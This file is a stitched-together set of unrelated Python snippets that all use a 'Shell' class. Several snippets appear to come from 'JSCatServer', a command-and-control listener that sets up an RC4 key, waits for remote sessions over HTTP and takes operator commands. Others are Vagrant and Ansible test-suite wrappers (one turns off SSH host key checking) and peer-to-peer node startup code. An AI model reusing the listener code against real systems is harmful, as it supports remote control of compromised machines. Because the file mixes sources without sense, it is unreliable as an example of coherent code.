def run(ip, port, new_key, sleep_time): # 获取当前使用的rc4加密key rc4_key = get_rc4_key(new_key) Log.log_message( '[*]server cipher key: {}'.format(BOLD(rc4_key)), log_type=Log.SERVER) # 启动http监听服务 session = Session() shell = Shell(session) httpd = Server(ip, port, JSCatServer, session, shell, rc4_key, sleep_time) httpd.start() Log.log_message( '[*]server running in {}:{}...'.format(BOLD('0.0.0.0'), BOLD(port)), log_type=Log.SERVER) Log.log_message( '[*]host connect ip is {}:{}...'.format(BOLD(ip), BOLD(port)), log_type=Log.SERVER) print_online_cmd(ip, port) # 控制台命令输入 try: while True: if not httpd.shell.get_command(): httpd.shutdown() exit() except KeyboardInterrupt: httpd.shutdown() Log.log_message('server shutdown', log_type=Log.SERVER)
def ansible(self, playbook, unattended, limit=None, argv=None, **kwargs): limit = limit if limit is not None else [] argv = argv if argv is not None else [] env = { 'ANSIBLE_SSH_ARGS': '-o UserKnownHostsFile=/dev/null ' '-o IdentitiesOnly=yes ' '-o ControlMaster=auto ' '-o ControlPersist=60s ' '-o ServerAliveInterval=15', 'ANSIBLE_HOST_KEY_CHECKING': 'false' } limit = ','.join(limit) if limit else 'all' if not unattended: argv.append('--ask-become-pass') args = [ '--limit', limit, '--inventory-file', '{}/provision/inventory.yml'.format(self.root_dir), *argv, '{}/provision/{}'.format(self.root_dir, playbook) ] return Shell().run(['ansible-playbook'] + args, env=env, **kwargs)
def __init__(self, cmdArguments): threading.Thread.__init__(self) self.daemon = True self.handler_class = JSCatServer self.host = cmdArguments['host'] self.port = cmdArguments['port'] self.shell = Shell() self.session = self.shell.session self.rc4_key = cmdArguments['new_key'] self.sleep_time = cmdArguments['sleep_time'] self._setup_server()
def vagrant(self, config, command, args=None, argv=None, env=None, **kwargs): args = args if args is not None else [] argv = argv if argv is not None else [] env = env if env is not None else {} env = env.copy() env.update({ 'VAGRANT_CWD': self.root_dir, 'SSSD_TEST_SUITE_CONFIG': config if config else self.default_config }) if argv: args += ['--'] + argv return Shell().run( ['vagrant'] + command.split(' ') + args, env=env, **kwargs )
def run(ip, port, new_key, sleep_time): # 获取当前使用的rc4加密key rc4_key = get_rc4_key(new_key) print('[*]server encrypt key is {}'.format(BOLD(rc4_key))) # 启动http监听服务 session = Session() shell = Shell(session) httpd = Server(ip, port, JSCatServer, session, shell, rc4_key, sleep_time) httpd.start() print('[*]server running in {}:{}...'.format(BOLD(ip), BOLD(port))) print_online_cmd(ip, port) # 控制台命令输入 try: while True: if not httpd.shell.get_command(): httpd.shutdown() exit() except KeyboardInterrupt: httpd.shutdown() print('server shutdown')
def __init__(self): super().__init__() self.shell = Shell(env={'SSSD_TEST_SUITE_BOX': 'yes'})
def stop_shell(port): logger.info("Stopping shell at port: {}".format(port)) shell = Shell("127.0.0.1", port) shell.exit()
# Create the network node, register appropriate handlers for # the various network services. The node runs in its own thread. logger.debug("Initializing Node") node = Node(configuration) node.add_service("overlay", OverlayService(configuration, encryption)) # node.register_handler(PresenceService()) # node.register_handler(MessagingService()) # etc. logger.debug("Starting Node") node.start() # START SHELL (also in its own thread) logger.debug("Starting Shell") shell = Shell(configuration, node, args.auto_join) shell.start() shell.join() logger.debug("Shell Stopped") logger.debug("Shutting Down Node") node.terminate() node.join() logger.debug("Terminated") #import logging #logging.basicConfig(level=logging.DEBUG) # configuration = Configuration()